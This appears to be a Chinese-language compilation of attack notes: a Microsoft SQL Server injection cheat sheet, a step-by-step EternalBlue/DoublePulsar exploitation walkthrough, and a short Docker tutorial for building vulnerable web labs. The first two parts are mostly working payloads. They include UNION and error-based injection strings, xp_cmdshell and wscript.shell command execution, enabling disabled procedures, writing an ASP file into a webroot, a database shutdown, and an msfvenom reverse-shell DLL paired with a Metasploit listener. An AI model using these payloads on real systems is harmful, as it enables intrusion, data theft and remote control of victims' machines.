经常给UNION配上ALL使用,因为经常会有相同数值的字段,而缺省情况下UNION都会尝试返回唯一值(records with distinct)
如果你每次查询只能有一条记录,而你不想让原本正常查询的记录占用这宝贵的记录位,你可以使用-1或者根本不存在的值来搞定原查询(前提是注入点在WHERE里)。
在UNION中使用NULL,对于大部分数据类型来说这样都比瞎猜字符串、日期、数字之类的来得强
    盲注的时候要小心判断错误是来自应用的还是来自数据库的。因为像ASP.NET就经常会在你使用NULL的时候抛出错误(因为开发者们一般都没想到用户名的框中会出现NULL)

获取字段类型

' union select sum(columntofind) from users-- (S)

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a **varchar** data type as an argument. 如果没有返回错误说明字段是数字类型

同样的,你可以使用CAST()和CONVERT()
    SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--

11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-

没报错 - 语法是正确的。 这是MS SQL Server的语法。 继续。

11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-

没报错 – 第一个字段是integer类型。

11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --

报错 – 第二个字段不是integer类型

11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-

没报错 – 第二个字段是string类型。

11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –-

报错 – 第三个字段不是integer

……

Microsoft OLE DB Provider for SQL Server error '80040e07' Explicit conversion from data type int to image is not allowed.

你在遇到union错误之前会先遇到convert()错误,所以先使用convert()再用union
简单的注入(MSO+)

'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/* 有用的函数、信息收集、内置程序、大量注入笔记
@@version(MS)

数据库的版本。这是个常量,你能把它当做字段来SELECT,而且不需要提供表名。同样的你也可以用在INSERT/UPDATE语句里面,甚至是函数里面。

INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)
文件插入(Bulk Insert)(S)

把文件内容插入到表中。如果你不知道应用目录你可以去读取IIS metabase file(仅IIS 6)(%systemroot%\system32\inetsrv\MetaBase.xml)然后在里面找到应用目录。

新建一个表foo(line varchar(8000))
BULK INSERT foo FROM 'c:\inetpub\wwwroot\login.asp'
DROP了临时表,重复另一个文件

BCP(S)

写入文件。这个功能需要登录 bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar
SQL Server的VBS/WSH(S)

由于ActiveX的支持,你能在SQL Server中使用VBS/WSH

declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe'

Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --

执行系统命令,xp_cmdshell(S)

众所周知的技巧,SQL Server 2005默认是关闭的。你需要admin权限

EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'

用ping简单的测试一下,用之前先检查一下防火墙和嗅探器。

EXEC master.dbo.xp_cmdshell 'ping '

如果有错误,或者union或者其他的什么,你都不能直接读到结果。
SQL Server中的一些特殊的表(S)

Error Messages

master..sysmessages

Linked Servers

master..sysservers

Password (2000和2005版本的都能被破解,这俩的加密算法很相似)

SQL Server 2000: masters..sysxlogins

SQL Server 2005 : sys.sql_logins

SQL Server的其它内置程序(S)

命令执行 (xp_cmdshell)

exec master..xp_cmdshell 'dir'

注册表操作 (xp_regread)
    xp_regaddmultistring
    xp_regdeletekey
    xp_regdeletevalue
    xp_regenumkeys
    xp_regenumvalues
    xp_regread
    xp_regremovemultistring

    xp_regwrite

    exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet \Services\lanmanserver\parameters', 'nullsessionshares' exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM \CurrentControlSet \Services\snmp\parameters\validcommunities'

管理服务(xp_servicecontrol)

媒体(xp_availablemedia)

ODBC 资源 (xp_enumdsn)
登录 (xp_loginconfig)
创建Cab文件 (xp_makecab)
域名列举 (xp_ntsec_enumdomains)
杀进程 (need PID) (xp_terminate_process)

新建进程 (实际上你想干嘛都行)

sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’ exec xp_webserver

写文件进UNC或者内部路径 (sp_makewebtask)

大量MSSQL笔记

SELECT * FROM master..sysprocesses /WHERE spid=@@SPID/

DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0

HOST_NAME() IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)

INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"

OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx

你不能在 SQL Server 的Insert查询里使用子查询(sub select).
使用LIMIT(M)或ORDER(MSO)的注入

SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;

如果注入点在LIMIT的第二个参数处,你可以把它注释掉或者使用union注入。
关掉SQL Server(S)

如果你真的急了眼,';shutdown --
在SQL Server 2005中启用xp_cmdshell

默认情况下,SQL Server 2005中像xp_cmdshell以及其它危险的内置程序都是被禁用的。如果你有admin权限,你就可以启动它们。

`\ EXEC sp_configure 'show advanced options',1 RECONFIGURE

EXEC sp_configure 'xp_cmdshell',1 RECONFIGURE `
探测SQL Server数据库的结构(S)
获取用户定义表

SELECT name FROM sysobjects WHERE xtype = 'U'
获取字段名

SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')
移动记录(Moving records)(S)

修改WHERE,使用NOT IN或者NOT EXIST ... WHERE users NOT IN ('First User', 'Second User') SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members) -- 这个好用

脏的不行的小技巧

SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3) as int

Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21

快速的脱掉基于错误(Error Based)的SQL Server注入(S)

';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--

详情请参考:Fast way to extract data from Error Based SQL Injections

windows溢出0day利用方法

拿到exp,测了下
所需环境如下:一,攻击机1(32位系统,py2.6版本,pywin32) 二,攻击机2(linux带msf就好)
windows目录下新建listeningposts目录,空的就好(是exp下的windows目录,不是C盘下的windows目录)
不需要注释文件
执行python fb.py
可看到如下页面
1.png
设置攻击IP,如192.168.1.24
设置监听IP,
切记,这里是no,红框位置
2.png
接着use eternalblue,一直回车即可,一直到这里,红框位置,根据自己的环境选择,我这边两个都选的1
3.png
接着回车,可以看到如下页面
4.png
use Doublepulsar,回车注意红框位置,第二个红框,这里选择2,接着输入恶意dll的路径,
5.png
恶意dll的生成命令如下,在linux中生成,linux需要装好msf
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.108.131 LPORT=5555 -f dll > test.dll
IP,端口,输出的名字自己改并把dll文件移植到攻击机1中(顺序有点放反了,不过没事)
如图所示
6.png
接着,攻击机1就暂时别动了,去攻击机2,打开msf,命令如下: msfconsole use exploit/multi/handler set LHOST set LPORT exploit, 设置好IP,端口接着开始监听,继续回到攻击机1,回车就好了,可以看到如下页面,就是攻击成功了,返回攻击机2,可以看到已经反弹了shell
7.png
8.png

docker搭建WEB漏洞环境

docker的出现,方便了很多人,因为他的隔离,非常适合来制作漏洞的靶场
这里来说一下搭建WEB漏洞环境
准备工作

  • github账号
  • docker账号
  • 本机装有docker

一。
dockerfile的固定格式,在github写好

FROM yiwang666/lamp //镜像
MAINTAINER YiWanG admin@yiwang6.cn

COPY src/weichuang.zip /tmp/weichuang.zip
COPY src/weichuang.sql /tmp/weichuang.sql }漏洞的源码以及数据库

RUN apt-get install -y unzip //安装unzip

WORKDIR /tmp
RUN set -x
&& apt-get install -y php5-mysql php5-dev php5-gd php5-memcache php5-pspell php5-snmp snmp php5-xmlrpc libapache2-mod-php5 php5-cli unzip
&& rm -rf /var/www/html/*
&& unzip -x /tmp/weichuang.zip
&& cp -r /tmp/* /var/www/html/
&& /etc/init.d/mysql start
&& mysql -e "CREATE DATABASE weichuang DEFAULT CHARACTER SET utf8;" -uroot -p
&& mysql -e "use weichuang;source /tmp/weichuang.sql;" -uroot -p
&& rm -rf /tmp/*
&& chown -R www-data:www-data /var/www/html //安装php,mysql等,并把源码解压放到目录以及导入数据库

COPY src/start.sh /start.sh
RUN chmod a+x /start.sh

EXPOSE 80
CMD ["/start.sh"] //运行

以上是一个简单的dockerfile,规范格式是一个dockerfile,然后一个文件夹,下面有start.sh,源码包以及数据库文件。
可以参考一下
https://github.com/yiwang6/weichuang
二。并在hub.docker.com上传,hub支持绑定github,只需要添加一下任务,可以自己从github复制dockerfile以及源码
这里有一点需要说明,hub上添加之后,需要在此处点击触发ssssss.png,等待大约5分钟,此处变成success,aaaaa.png一个漏洞环境就制作好了,只需本机docker拉取就OK,如果遇到error,需要仔细排查dockerfile是否有地方写错,比如数据库名忘记改之类的小问题